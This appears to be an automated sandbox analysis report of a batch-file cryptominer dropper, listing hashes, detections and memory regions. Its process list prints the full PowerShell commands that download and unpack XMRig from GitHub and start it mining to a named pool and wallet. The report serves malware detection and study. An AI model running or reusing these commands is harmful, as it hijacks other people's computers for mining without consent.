Analysis

  • max time kernel
    1792s
  • max time network
    1798s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30-12-2023 01:27

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3172
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4552
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3580

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    316b7f284e2743f2cf151ad437a3ab4e

    SHA1

    fbc091ffe83cd7933b67b4139a60e3387352f860

    SHA256

    93b5d0a0dc002346c9bfacac2d3e32c6274068d426aec921b7cfe0cbe7bd7b6b

    SHA512

    7506eec8fbe31ae4453cc92d18c5b27c2a0ed42a03dce48e71a3522add300dc82ac7601fea4b52373bdad996a9332179a711cfefd00add6263253c24dff01331

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w0ivm0f1.bcf.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    148KB

    MD5

    2fb8a9aae0bddc58135ed3e978e22556

    SHA1

    f95f46e1e79f6ea283d45f6ae0f2fe7b69f8dd68

    SHA256

    43bea73b605076fe10a3246a453c363ec59e2185b9a193c76157a1dad12358a2

    SHA512

    63d353f06338526e1c3ff97464b6220975b7a178fb2a5ffe83bf91bc559321f01acde2e10b5f3096cb1e931e06b8d9078489c7ee34eb900d4912589d5f7b4072

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    184KB

    MD5

    4bb0f4e17cbd9c9fdcb6ff2276e66de9

    SHA1

    3ee45844ee60193d55b7b1cb6c06339612dd1d49

    SHA256

    2208e00cfa3f1d8662649fce85260b4bd2aabff1111797700290167119b5ae49

    SHA512

    3d64348d8e8c559d42f6b5bc24d21425d3babc98ccf0e486548ea41067a18c11242f6b6cfece054c0253f0c0b1a6ca4774669159422cd0e4bfb35d7a2bce20f0

  • memory/3172-28-0x000002A935D50000-0x000002A935D60000-memory.dmp

    Filesize

    64KB

  • memory/3172-4-0x000002A937C10000-0x000002A937C32000-memory.dmp

    Filesize

    136KB

  • memory/3172-27-0x00007FF8835B0000-0x00007FF883F9C000-memory.dmp

    Filesize

    9.9MB

  • memory/3172-5-0x00007FF8835B0000-0x00007FF883F9C000-memory.dmp

    Filesize

    9.9MB

  • memory/3172-29-0x000002A935D50000-0x000002A935D60000-memory.dmp

    Filesize

    64KB

  • memory/3172-30-0x000002A935D50000-0x000002A935D60000-memory.dmp

    Filesize

    64KB

  • memory/3172-26-0x000002A935D50000-0x000002A935D60000-memory.dmp

    Filesize

    64KB

  • memory/3172-35-0x00007FF8835B0000-0x00007FF883F9C000-memory.dmp

    Filesize

    9.9MB

  • memory/3172-7-0x000002A935D50000-0x000002A935D60000-memory.dmp

    Filesize

    64KB

  • memory/3172-6-0x000002A935D50000-0x000002A935D60000-memory.dmp

    Filesize

    64KB

  • memory/3172-10-0x000002A94FDF0000-0x000002A94FE66000-memory.dmp

    Filesize

    472KB

  • memory/3580-145-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-152-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-190-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-189-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-188-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-187-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-122-0x000001588D940000-0x000001588D960000-memory.dmp

    Filesize

    128KB

  • memory/3580-186-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-123-0x000001588D9A0000-0x000001588D9C0000-memory.dmp

    Filesize

    128KB

  • memory/3580-124-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-127-0x000001588D9E0000-0x000001588DA00000-memory.dmp

    Filesize

    128KB

  • memory/3580-126-0x000001588D9C0000-0x000001588D9E0000-memory.dmp

    Filesize

    128KB

  • memory/3580-125-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-128-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-129-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-131-0x000001588D9E0000-0x000001588DA00000-memory.dmp

    Filesize

    128KB

  • memory/3580-130-0x000001588D9C0000-0x000001588D9E0000-memory.dmp

    Filesize

    128KB

  • memory/3580-132-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-133-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-134-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-135-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-136-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-137-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-138-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-139-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-140-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-141-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-142-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-143-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-144-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-185-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-146-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-147-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-148-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-149-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-150-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-151-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-184-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-153-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-154-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-155-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-156-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-157-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-158-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-159-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-160-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-161-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-162-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-163-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-164-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-165-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-166-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-167-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-168-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-169-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-170-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-171-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-172-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-173-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-174-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-175-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-176-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-177-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-178-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-179-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-180-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-181-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-182-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/3580-183-0x00007FF65EB10000-0x00007FF65F613000-memory.dmp

    Filesize

    11.0MB

  • memory/4552-68-0x0000022D712D0000-0x0000022D712E0000-memory.dmp

    Filesize

    64KB

  • memory/4552-43-0x00007FF8835B0000-0x00007FF883F9C000-memory.dmp

    Filesize

    9.9MB

  • memory/4552-46-0x0000022D712D0000-0x0000022D712E0000-memory.dmp

    Filesize

    64KB

  • memory/4552-119-0x00007FF8835B0000-0x00007FF883F9C000-memory.dmp

    Filesize

    9.9MB

  • memory/4552-82-0x0000022D71460000-0x0000022D71472000-memory.dmp

    Filesize

    72KB

  • memory/4552-95-0x0000022D71440000-0x0000022D7144A000-memory.dmp

    Filesize

    40KB

  • memory/4552-44-0x0000022D712D0000-0x0000022D712E0000-memory.dmp

    Filesize

    64KB